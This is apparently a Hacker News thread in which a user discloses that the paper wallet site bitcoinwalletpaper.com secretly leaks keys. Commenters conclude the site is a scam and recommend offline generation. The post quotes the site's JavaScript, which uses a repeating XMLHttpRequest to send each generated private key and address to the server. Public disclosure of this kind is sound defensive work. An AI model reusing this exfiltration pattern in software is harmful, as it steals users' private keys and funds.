5 ms·
Bitcoin paper wallet generator bitcoinwalletpaper.com leaks private key
Hi everybody,
yesterday I used the paper wallet generator on https://bitcoinwalletpaper.com and I saw suspicious network traffic that leaks the generated bitcoin private and public keys.
The affected code is part of the bitcoinwalletpaper.com index.html and can be found in the "showArtisticWallet" function:
...
var interval = setInterval(function(){
var oXHR = new XMLHttpRequest();
oXHR.open("GET", "?77q4722jorGhQZD654roShVZdqz24vUFP2tjw6FboEHnApwha2Aih6UHGhE6uwyY6XXPr4M5v9DyEFtbUPs4VDqhVRXcqofU9M"+bitcoinAddress+"HJ6VBJiEEvKT4p5sYwrjZirpExjLpAXj1i5vhTtUcv8EL2RDx1J"+privateKey+"QSbSs6K3u2QPMLD3bUPs4VDsioznvRnhjb37GVN5xXo8YwAofboUj2BUMbYV6i9", true);
oXHR.onreadystatechange = function (oEvent) {
if (oXHR.readyState === 2.75) {
if (oXHR.status === 200) {
clearInterval(interval);
}
}
};
oXHR.send(null);
},10000)
...
This code sends the "bitcoinAddress" and "privateKey" as query params back to the origin domain.
I'm not sure if this was just some coding mistake/bug or if the site got hacked - or if I'm missing something.
Yesterday I wrote an email to the address given as "Admin Email" in the whois directory, as no further contact information is available. So far I haven't received an answer. Given that bitcoin reached new all-time heights and that its not long until Christmas I feel like its urgent to do something about this. That's why I post it here. Maybe some of you have ideas on how to proceed?
Steps to reproduce:
- open https://bitcoinwalletpaper.com
- click the "Next" or "Skip" button or complete the secure random number generation
- open the browsers developer tools (or sniff the network traffic in any other way) and watch the requests start after ~10 seconds
=> each request sends the private key of the bitcoin wallet as part of the query param of the GET request
- ev1 6y agoIt's obviously a scam site intended to steal "cold BTC", why would they respond to you? Half the site is in bad english and the "our team" image is stolen from Oculus Rift. The entire point of that site is to steal your BTC.
- gappc 6y agoI took a look at that site some years ago. If I remember correctly, this behavior did not exist then, so something seems to have changed.
- ev1 6y agoConsidering they've been calling themselves the "official" paper wallet creator since the domain was registered, it's a scam and always has been.
- swatkat 6y agoDid you intend to use https://bitcoinpaperwallet.com https://bitcoinpaperwallet.com instead of https://bitcoinwalletpaper.com https://bitcoinwalletpaper.com? The former site “looks” legit (one can never be sure though) while the latter looks like phishing scam.
- mtmail 6y agohttps://bitcoinwalletpaper.com/images/team.jpg https://bitcoinwalletpaper.com/images/team.jpg The team photo on the page is fake. That's the early Oculus team (John Carmack on the left) as seen on https://youtu.be/Bg5dDa4u8C8?t=84 https://youtu.be/Bg5dDa4u8C8?t=84 [edit: added the exact timestamp] Given that I'd say the whole page is fraud.
- gappc 6y agoOK, this is a strong indication that it is just a scam;) Thanks for pointing this out.
- throwawaygulf 6y agoThis is good for Bitcoin.
- jamesmehaffey 6y agoI have always been advised that it is prudent not to use any browser-based wallet generators, especially while you are online. There are quite a few app-based wallets that will allow you to generate an address before wiping it from your phone. That is a well spotted security issue though.
- dosenbrot 6y agoBrowser-based paperwallet generators are not necessarily a bad thing. App-based is not necessarily a good thing (apps can leak data too). Best approach would be: disconnect LAN -> boot you computer from a live-CD -> don't connect the computer to the internet -> get the browser or app based generator via usb-stick -> generate the paper wallet and print it -> shut down the computer, don't save anything. Here you go, not even this is safe if the app generate predictable addresses (this already happend by accident). Maybe put 0,0001btc on the wallet and wait a few weeks and look if they vanish? I think at some point you have to read and inform yourself. Maybe you find someone you can trust. A 15 second internet search and a quick printout of a paperwallet is not the best way to deal with your money.
- tdeck 6y agoIt seems like it would be much easier to check for shenanigans in a browser based walled generator than on a mobile app. In the browser I can just got F12 to determine what's up.
- quickthrower2 6y agoIn addition to network access you need to audit all code downloaded and check local storage, indexdb and cookie usage and any other unknown unknowns.
- ThePadawan 6y agoThat all seems rather trivial by spinning up, then deleting a disposable VM without network access.
- peanut_worm 6y agoThis might be the most obvious scam i’ve ever seen
- Melting_Harps 6y ago> This might be the most obvious scam i’ve ever seen Bittttconnnnect!!!!! In Cryptoland this is probably one of the more subtle ones to be honest. People literately send their coins to scammers on twitter posing as Elon Musk promising 10x returns, or fake ransomware scams. I don't endorse these things and I find them incredibly sad, but this far from being the most 'obvious ones' is all I wanted to say.
- k-ian 6y agoOne of the more popular paper wallet generators is https://www.bitaddress.org/ https://www.bitaddress.org/. But because i'm paranoid of situations like this, I've downloaded a release from their github and copied it to an airgapped laptop, and generated keys that way- https://github.com/pointbiz/bitaddress.org/releases https://github.com/pointbiz/bitaddress.org/releases
- lights0123 6y agoInteresting that Crypto.getRandomValues isn't enough for them and they also generate their own entropy in addition to it.
- mrfusion 6y agoI think that’s the recommended procedure. I wouldn’t call that paranoid at all.
- lights0123 6y ago> You appear to be running this generator of our live website. For more security you can download the website on your computer and you can also turn off the internet to generate offline your wallet more securely. Do they just say that to increase credibility, assuming that no one will actually do it?
- tinus_hn 6y agoPerhaps they just copied another site that said that.
- pendi 6y agoyes help me please send 1 BTC
- throwawaygulf 6y agoButtcoin.
- kleer001 6y agoAlways generate wallets offline.